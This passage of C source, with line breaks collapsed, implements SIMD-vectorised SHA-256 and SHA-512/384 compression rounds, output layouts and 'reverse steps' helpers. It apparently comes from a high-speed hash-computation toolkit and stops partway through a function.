b, 54, 0x5b9cca4f); SHA256_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3); SHA256_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee); if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA224)) { SHA256_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS32+0*VS32]), h[i]); } return; } SHA256_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f); SHA256_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814); SHA256_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc70208); SHA256_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa); if (SSEi_flags & SSEi_REVERSE_STEPS) { SHA256_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS32+3*VS32]), d[i]); } return; } SHA256_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506ceb); SHA256_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7); SHA256_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA256_PARA_DO(i) { a[i] = vadd_epi32(a[i],vload((vtype*)&reload_state[i*16*VS32+0*VS32])); b[i] = vadd_epi32(b[i],vload((vtype*)&reload_state[i*16*VS32+1*VS32])); c[i] = vadd_epi32(c[i],vload((vtype*)&reload_state[i*16*VS32+2*VS32])); d[i] = vadd_epi32(d[i],vload((vtype*)&reload_state[i*16*VS32+3*VS32])); e[i] = vadd_epi32(e[i],vload((vtype*)&reload_state[i*16*VS32+4*VS32])); f[i] = vadd_epi32(f[i],vload((vtype*)&reload_state[i*16*VS32+5*VS32])); g[i] = vadd_epi32(g[i],vload((vtype*)&reload_state[i*16*VS32+6*VS32])); h[i] = vadd_epi32(h[i],vload((vtype*)&reload_state[i*16*VS32+7*VS32])); } } else { SHA256_PARA_DO(i) { a[i] = vadd_epi32(a[i],vload((vtype*)&reload_state[i*8*VS32+0*VS32])); b[i] = vadd_epi32(b[i],vload((vtype*)&reload_state[i*8*VS32+1*VS32])); c[i] = vadd_epi32(c[i],vload((vtype*)&reload_state[i*8*VS32+2*VS32])); d[i] = vadd_epi32(d[i],vload((vtype*)&reload_state[i*8*VS32+3*VS32])); e[i] = vadd_epi32(e[i],vload((vtype*)&reload_state[i*8*VS32+4*VS32])); f[i] = vadd_epi32(f[i],vload((vtype*)&reload_state[i*8*VS32+5*VS32])); g[i] = vadd_epi32(g[i],vload((vtype*)&reload_state[i*8*VS32+6*VS32])); h[i] = vadd_epi32(h[i],vload((vtype*)&reload_state[i*8*VS32+7*VS32])); } } } else { if (SSEi_flags & SSEi_CRYPT_SHA224) { SHA256_PARA_DO(i) { /* SHA-224 IV */ a[i] = vadd_epi32(a[i], vset1_epi32(0xc1059ed8)); b[i] = vadd_epi32(b[i], vset1_epi32(0x367cd507)); c[i] = vadd_epi32(c[i], vset1_epi32(0x3070dd17)); d[i] = vadd_epi32(d[i], vset1_epi32(0xf70e5939)); e[i] = vadd_epi32(e[i], vset1_epi32(0xffc00b31)); f[i] = vadd_epi32(f[i], vset1_epi32(0x68581511)); g[i] = vadd_epi32(g[i], vset1_epi32(0x64f98fa7)); h[i] = vadd_epi32(h[i], vset1_epi32(0xbefa4fa4)); } } else { SHA256_PARA_DO(i) { /* SHA-256 IV */ a[i] = vadd_epi32(a[i], vset1_epi32(0x6a09e667)); b[i] = vadd_epi32(b[i], vset1_epi32(0xbb67ae85)); c[i] = vadd_epi32(c[i], vset1_epi32(0x3c6ef372)); d[i] = vadd_epi32(d[i], vset1_epi32(0xa54ff53a)); e[i] = vadd_epi32(e[i], vset1_epi32(0x510e527f)); f[i] = vadd_epi32(f[i], vset1_epi32(0x9b05688c)); g[i] = vadd_epi32(g[i], vset1_epi32(0x1f83d9ab)); h[i] = vadd_epi32(h[i], vset1_epi32(0x5be0cd19)); } } } if (SSEi_flags & SSEi_FLAT_OUT) { SHA256_PARA_DO(i) { uint32_t *o = (uint32_t*)&out[i*8*VS32]; #if __AVX512F__ || __MIC__ vtype idxs = vset_epi32(15<<3,14<<3,13<<3,12<<3, 11<<3,10<<3, 9<<3, 8<<3, 7<<3, 6<<3, 5<<3, 4<<3, 3<<3, 2<<3, 1<<3, 0<<3); vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4); vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4); vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4); vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4); vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4); vscatter_epi32(o + 5, idxs, vswap32(f[i]), 4); vscatter_epi32(o + 6, idxs, vswap32(g[i]), 4); vscatter_epi32(o + 7, idxs, vswap32(h[i]), 4); #else uint32_t j, k; union { vtype v[8]; uint32_t s[8 * VS32]; } tmp; tmp.v[0] = vswap32(a[i]); tmp.v[1] = vswap32(b[i]); tmp.v[2] = vswap32(c[i]); tmp.v[3] = vswap32(d[i]); tmp.v[4] = vswap32(e[i]); tmp.v[5] = vswap32(f[i]); tmp.v[6] = vswap32(g[i]); tmp.v[7] = vswap32(h[i]); for (j = 0; j < VS32; j++) for (k = 0; k < 8; k++) o[j*8+k] = tmp.s[k*VS32+j]; #endif } } else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) { SHA256_PARA_DO(i) { vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]); vstore((vtype*)&out[i*32*VS32+4*VS32], e[i]); vstore((vtype*)&out[i*32*VS32+5*VS32], f[i]); vstore((vtype*)&out[i*32*VS32+6*VS32], g[i]); vstore((vtype*)&out[i*32*VS32+7*VS32], h[i]); } } else { SHA256_PARA_DO(i) { vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]); vstore((vtype*)&out[i*16*VS32+4*VS32], e[i]); vstore((vtype*)&out[i*16*VS32+5*VS32], f[i]); vstore((vtype*)&out[i*16*VS32+6*VS32], g[i]); vstore((vtype*)&out[i*16*VS32+7*VS32], h[i]); } } } else { SHA256_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS32+0*VS32]), a[i]); vstore((vtype*)&(out[i*8*VS32+1*VS32]), b[i]); vstore((vtype*)&(out[i*8*VS32+2*VS32]), c[i]); vstore((vtype*)&(out[i*8*VS32+3*VS32]), d[i]); vstore((vtype*)&(out[i*8*VS32+4*VS32]), e[i]); vstore((vtype*)&(out[i*8*VS32+5*VS32]), f[i]); vstore((vtype*)&(out[i*8*VS32+6*VS32]), g[i]); vstore((vtype*)&(out[i*8*VS32+7*VS32]), h[i]); } } } #endif /* SIMD_PARA_SHA256 */ #if SIMD_PARA_SHA512 #undef S0 #define S0(x) \ ( \ vxor( \ vroti_epi64(x, -39), \ vxor( \ vroti_epi64(x, -28), \ vroti_epi64(x, -34) \ ) \ ) \ ) #undef S1 #define S1(x) \ ( \ vxor( \ vroti_epi64(x, -41), \ vxor( \ vroti_epi64(x, -14), \ vroti_epi64(x, -18) \ ) \ ) \ ) /* * These optimized sigma alternatives are from "Fast SHA-512 Implementations * on Intel Architecture Processors" whitepaper by Intel. They result in less * register copy operations so is faster despite using more ops. Slight boost * indeed seen on intel core i7. */ #if 1 #undef s0 #define s0(x) (vxor(vsrli_epi64(vxor(vsrli_epi64(vxor( \ vsrli_epi64(x, 1), x), 6), x), 1), \ vslli_epi64(vxor(vslli_epi64(x, 7), x), 56))) #undef s1 #define s1(x) (vxor(vsrli_epi64(vxor(vsrli_epi64(vxor( \ vsrli_epi64(x, 42), x), 13), x), 6), \ vslli_epi64(vxor(vslli_epi64(x, 42), x), 3))) #else #undef s0 #define s0(x) \ ( \ vxor( \ vsrli_epi64(x, 7), \ vxor( \ vroti_epi64(x, -1), \ vroti_epi64(x, -8) \ ) \ ) \ ) #undef s1 #define s1(x) \ ( \ vxor( \ vsrli_epi64(x, 6), \ vxor( \ vroti_epi64(x, -19), \ vroti_epi64(x, -61) \ ) \ ) \ ) #endif #if __AVX512F__ #define Maj(x,y,z) vternarylogic(x, y, z, 0xE8) #elif !VCMOV_EMULATED #define Maj(x,y,z) vcmov(x, y, vxor(z, y)) #else #define Maj(x,y,z) vor(vand(x, y), vand(vor(x, y), z)) #endif #define Ch(x,y,z) vcmov(y, z, x) #define SHA512_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA512; ++x) #undef R #define R(t) \ { \ tmp1[i] = vadd_epi64(s1(w[i][(t-2)&0xf]), w[i][(t-7)&0xf]); \ tmp2[i] = vadd_epi64(s0(w[i][(t-15)&0xf]), w[i][(t-16)&0xf]); \ w[i][(t)&0xf] = vadd_epi64(tmp1[i], tmp2[i]); \ } #define SHA512_STEP(a,b,c,d,e,f,g,h,x,K) \ { \ SHA512_PARA_DO(i) \ { \ tmp1[i] = vadd_epi64(h[i], w[i][(x)&0xf]); \ tmp2[i] = vadd_epi64(S1(e[i]),vset1_epi64(K)); \ tmp1[i] = vadd_epi64(tmp1[i], Ch(e[i],f[i],g[i])); \ tmp1[i] = vadd_epi64(tmp1[i], tmp2[i]); \ tmp2[i] = vadd_epi64(S0(a[i]),Maj(a[i],b[i],c[i])); \ d[i] = vadd_epi64(tmp1[i], d[i]); \ h[i] = vadd_epi64(tmp1[i], tmp2[i]); \ if (x < 64) R(x); \ } \ } #define INIT_A 0x6a09e667f3bcc908ULL #define INIT_B 0xbb67ae8584caa73bULL #define INIT_C 0x3c6ef372fe94f82bULL #define INIT_D 0xa54ff53a5f1d36f1ULL #define INIT_E 0x510e527fade682d1ULL #define INIT_F 0x9b05688c2b3e6c1fULL #define INIT_G 0x1f83d9abfb41bd6bULL #define INIT_H 0x5be0cd19137e2179ULL #define ror(x, n) ((x >> n) | (x << (64 - n))) void sha512_reverse(uint64_t *hash) { uint64_t a, b, c, d, e, f, g, h, s0, maj, tmp; a = hash[0] - INIT_A; b = hash[1] - INIT_B; c = hash[2] - INIT_C; d = hash[3] - INIT_D; e = hash[4] - INIT_E; f = hash[5] - INIT_F; g = hash[6] - INIT_G; h = hash[7] - INIT_H; s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; f = g; g = h; a = b; b = c; c = tmp; s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; f = g; a = b; b = c; c = tmp; s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; a = b; b = c; c = tmp; s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39); maj = (b & c) ^ (b & d) ^ (c & d); hash[0] = e - (a - (s0 + maj)); } void sha512_unreverse() { fprintf(stderr, "sha512_unreverse() not implemented\n"); perror("sha512"); } #undef ror #undef INIT_H #undef INIT_G #undef INIT_F #undef INIT_E #undef INIT_D #undef INIT_C #undef INIT_B #undef INIT_A #define INIT_D 0x152fecd8f70e5939ULL void sha384_reverse(ARCH_WORD_64 *hash) { hash[3] -= INIT_D; } void sha384_unreverse(ARCH_WORD_64 *hash) { hash[3] += INIT_D; } #undef INIT_D void SIMDSHA512body(vtype* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags) { unsigned int i, k; vtype a[SIMD_PARA_SHA512], b[SIMD_PARA_SHA512], c[SIMD_PARA_SHA512], d[SIMD_PARA_SHA512], e[SIMD_PARA_SHA512], f[SIMD_PARA_SHA512], g[SIMD_PARA_SHA512], h[SIMD_PARA_SHA512]; vtype w[SIMD_PARA_SHA512][16]; vtype tmp1[SIMD_PARA_SHA512], tmp2[SIMD_PARA_SHA512]; if (SSEi_flags & SSEi_FLAT_IN) { ARCH_WORD_64 *_data = (ARCH_WORD_64*)data; SHA512_PARA_DO(k) { if (SSEi_flags & SSEi_2BUF_INPUT) { ARCH_WORD_64 (*saved_key)[32] = (ARCH_WORD_64(*)[32])_data; for (i = 0; i < 14; i += 2) { GATHER64(tmp1[k], saved_key, i); GATHER64(tmp2[k], saved_key, i + 1); vswap64(tmp1[k]); vswap64(tmp2[k]); w[k][i] = tmp1[k]; w[k][i + 1] = tmp2[k]; } GATHER64(tmp1[k], saved_key, 14); GATHER64(tmp2[k], saved_key, 15); _data += (VS64<<5); } else { ARCH_WORD_64 (*saved_key)[16] = (ARCH_WORD_64(*)[16])_data; for (i = 0; i < 14; i += 2) { GATHER64(tmp1[k], saved_key, i); GATHER64(tmp2[k], saved_key, i + 1); vswap64(tmp1[k]); vswap64(tmp2[k]); w[k][i] = tmp1[k]; w[k][i + 1] = tmp2[k]; } GATHER64(tmp1[k], saved_key, 14); GATHER64(tmp2[k], saved_key, 15); _data += (VS64<<4); } if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) { vswap64(tmp1[k]); vswap64(tmp2[k]); } w[k][14] = tmp1[k]; w[k][15] = tmp2[k]; } } else memcpy(w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA512); //dump_stuff_shammx64_msg("\nindex 2", w, 128, 2); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA512_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*16*VS64+0*VS64]); b[i] = vload((vtype*)&reload_state[i*16*VS64+1*VS64]); c[i] = vload((vtype*)&reload_state[i*16*VS64+2*VS64]); d[i] = vload((vtype*)&reload_state[i*16*VS64+3*VS64]); e[i] = vload((vtype*)&reload_state[i*16*VS64+4*VS64]); f[i] = vload((vtype*)&reload_state[i*16*VS64+5*VS64]); g[i] = vload((vtype*)&reload_state[i*16*VS64+6*VS64]); h[i] = vload((vtype*)&reload_state[i*16*VS64+7*VS64]); } } else { SHA512_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*8*VS64+0*VS64]); b[i] = vload((vtype*)&reload_state[i*8*VS64+1*VS64]); c[i] = vload((vtype*)&reload_state[i*8*VS64+2*VS64]); d[i] = vload((vtype*)&reload_state[i*8*VS64+3*VS64]); e[i] = vload((vtype*)&reload_state[i*8*VS64+4*VS64]); f[i] = vload((vtype*)&reload_state[i*8*VS64+5*VS64]); g[i] = vload((vtype*)&reload_state[i*8*VS64+6*VS64]); h[i] = vload((vtype*)&reload_state[i*8*VS64+7*VS64]); } } } else { if (SSEi_flags & SSEi_CRYPT_SHA384) { SHA512_PARA_DO(i) { /* SHA-384 IV */ a[i] = vset1_epi64(0xcbbb9d5dc1059ed8ULL); b[i] = vset1_epi64(0x629a292a367cd507ULL); c[i] = vset1_epi64(0x9159015a3070dd17ULL); d[i] = vset1_epi64(0x152fecd8f70e5939ULL); e[i] = vset1_epi64(0x67332667ffc00b31ULL); f[i] = vset1_epi64(0x8eb44a8768581511ULL); g[i] = vset1_epi64(0xdb0c2e0d64f98fa7ULL); h[i] = vset1_epi64(0x47b5481dbefa4fa4ULL); } } else { SHA512_PARA_DO(i) { /* SHA-512 IV */ a[i] = vset1_epi64(0x6a09e667f3bcc908ULL); b[i] = vset1_epi64(0xbb67ae8584caa73bULL); c[i] = vset1_epi64(0x3c6ef372fe94f82bULL); d[i] = vset1_epi64(0xa54ff53a5f1d36f1ULL); e[i] = vset1_epi64(0x510e527fade682d1ULL); f[i] = vset1_epi64(0x9b05688c2b3e6c1fULL); g[i] = vset1_epi64(0x1f83d9abfb41bd6bULL); h[i] = vset1_epi64(0x5be0cd19137e2179ULL); } } } SHA512_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98d728ae22ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 1, 0x7137449123ef65cdULL); SHA512_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcfec4d3b2fULL); SHA512_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba58189dbbcULL); SHA512_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25bf348b538ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1b605d019ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4af194f9bULL); SHA512_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5da6d8118ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98a3030242ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b0145706fbeULL); SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL); SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL); SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL); SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL); SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL); SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL); SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL); SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL); SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL); SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL); SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL); SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL); SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL); SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL); SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL); SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL); SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL); SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL); SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL); SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL); SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL); SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL); SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL); SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL); SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL); SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL); if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA384)) { SHA512_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS64+0*VS64]), h[i]); } return; } SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL); SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL); SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL); SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL); if (SSEi_flags & SSEi_REVERSE_STEPS) { SHA512_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS64+3*VS64]), d[i]); } return; } SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL); SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL); SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA512_PARA_DO(i) { a[i] = vadd_epi64(a[i],vload((vtype*)&reload_state[i*16*VS64+0*VS64])); b[i] = vadd_epi64(b[i],vload((vtype*)&reload_state[i*16*VS64+1*VS64])); c[i] = vadd_epi64(c[i],vload((vtype*)&reload_state[i*16*VS64+2*VS64])); d[i] = vadd_epi64(d[i],vload((vtype*)&reload_state[i*16*VS64+3*VS64])); e[i] = vadd_epi64(e[i],vload((vtype*)&reload_state[i*16*VS64+4*VS64])); f[i] = vadd_epi64(f[i],vload((vtype*)&reload_state[i*16*VS64+5*VS64])); g[i] = vadd_epi64(g[i],vload((vtype*)&reload_state[i*16*VS64+6*VS64])); h[i] = vadd_epi64(h[i],vload((vtype*)&reload_state[i*16*VS64+7*VS64])); } } else { SHA512_PARA_DO(i) { a[i] = vadd_epi64(a[i],vload((vtype*)&reload_state[i*8*VS64+0*VS64])); b[i] = vadd_epi64(b[i],vload((vtype*)&reload_state[i*8*VS64+1*VS64])); c[i] = vadd_epi64(c[i],vload((vtype*)&reload_state[i*8*VS64+2*VS64])); d[i] = vadd_epi64(d[i],vload((vtype*)&reload_state[i*8*VS64+3*VS64])); e[i] = vadd_epi64(e[i],vload((vtype*)&reload_state[i*8*VS64+4*VS64])); f[i] = vadd_epi64(f[i],vload((vtype*)&reload_state[i*8*VS64+5*VS64])); g[i] = vadd_epi64(g[i],vload((vtype*)&reload_state[i*8*VS64+6*VS64])); h[i] = vadd_epi64(h[i],vload((vtype*)&reload_state[i*8*VS64+7*VS64])); } } } else { if (SSEi_flags & SSEi_CRYPT_SHA384) { SHA512_PARA_DO(i) { /* SHA-384 IV */ a[i] = vadd_epi64(a[i], vset1_epi64(0xcbbb9d5dc1059ed8ULL)); b[i] = vadd_epi64(b[i], vset1_epi64(0x629a292a367cd507ULL)); c[i] = vadd_epi64(c[i], vset1_epi64(0x9159015a3070dd17ULL)); d[i] = vadd_epi64(d[i], vset1_epi64(0x152fecd8f70e5939ULL)); e[i] = vadd_epi64(e[i], vset1_epi64(0x67332667ffc00b31ULL)); f[i] = vadd_epi64(f[i], vset1_epi64(0x8eb44a8768581511ULL)); g[i] = vadd_epi64(g[i], vset1_epi64(0xdb0c2e0d64f98fa7ULL)); h[i] = vadd_epi64(h[i], vset1_epi64(0x47b5481dbefa4fa4ULL)); } } else { SHA512_PARA_DO(i) { /* SHA-512 IV */ a[i] = vadd_epi64(a[i], vset1_epi64(0x6a09e667f3bcc908ULL)); b[i] = vadd_epi64(b[i], vset1_epi64(0xbb67ae8584caa73bULL)); c[i] = vadd_epi64(c[i], vset1_epi64(0x3c6ef372fe94f82bULL)); d[i] = vadd_epi64(d[i], vset1_epi64(0xa54ff53a5f1d36f1ULL)); e[i] = vadd_epi64(e[i], vset1_epi64(0x510e527fade682d1ULL)); f[i] = vadd_epi64(f[i], vset1_epi64(0x9b05688c2b3e6c1fULL)); g[i] = vadd_epi64(g[i], vset1_epi64(0x1f83d9abfb41bd6bULL)); h[i] = vadd_epi64(h[i], vset1_epi64(0x5be0cd19137e2179ULL)); } } } if (SSEi_flags & SSEi_FLAT_OUT) { SHA512_PARA_DO(i) { uint64_t *o = (uint64_t*)&out[i*8*VS64]; #if __AVX512F__ || __MIC__ vtype idxs = vset_epi64(7<<3, 6<<3, 5<<3, 4<<3, 3<<3, 2<<3, 1<<3, 0<<3); vscatter_epi64(o + 0, idxs, vswap64(a[i]), 8); vscatter_epi64(o + 1, idxs, vswap64(b[i]), 8); vscatter_epi64(o + 2, idxs, vswap64(c[i]), 8); vscatter_epi64(o + 3, idxs, vswap64(d[i]), 8); vscatter_epi64(o + 4, idxs, vswap64(e[i]), 8); vscatter_epi64(o + 5, idxs, vswap64(f[i]), 8); vscatter_epi64(o + 6, idxs, vswap64(g[i]), 8); vscatter_epi64(o + 7, idxs, vswap64(h[i]), 8); #else uint64_t j, k; union { vtype v[8]; uint64_t s[8 * VS64]; } tmp; tmp.v[0] = vswap64(a[i]); tmp.v[1] = vswap64(b[i]); tmp.v[2] = vswap64(c[i]); tmp.v[3] = vswap64(d[i]); tmp.v[4] = vswap64(e[i]); tmp.v[5] = vswap64(f[i]); tmp.v[6] = vswap64(g[i]); tmp.v[7] = vswap64(h[i]); for (j = 0; j < VS64; j++) for (k = 0; k < 8; k++) o[j*8+k] = tmp.s[k*VS64+j]; #endif } } else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) { SHA512_PARA_DO(i) { vstore((vtype*)&out[i*32*VS64+0*VS64], a[i]); vstore((vtype*)&out[i*32*VS64+1*VS64], b[i]); vstore((vtype*)&out[i*32*VS64+2*VS64], c[i]); vstore((vtype*)&out[i*32*VS64+3*VS64], d[i]); vstore((vtype*)&out[i*32*VS64+4*VS64], e[i]); vstore((vtype*)&out[i*32*VS64+5*VS64], f[i]); vstore((vtype*)&out[i*32*VS64+6*VS64], g[i]); vstore((vtype*)&out[i*32*VS64+7*VS64], h[i]); } } else { SHA512_PARA_DO(i) { vstore((vtype*)&out[i*16*VS64+0*VS64], a[i]); vstore((vtype*)&out[i*16*VS64+1*VS64], b[i]); vstore((vtype*)&out[i*16*VS64+2*VS64], c[i]); vstore((vtype*)&out[i*16*VS64+3*VS64], d[i]); vstore((vtype*)&out[i*16*VS64+4*VS64], e[i]); vstore((vtype*)&out[i*16*VS64+5*VS64], f[i]); vstore((vtype*)&out[i*16*VS64+6*VS64], g[i]); vstore((vtype*)&out[i*16*VS64+7*VS64], h[i]); } } } else { SHA512_PARA_DO(i) { vstore((vtype*)&(out[i*8*VS64+0*VS64]), a[i]); 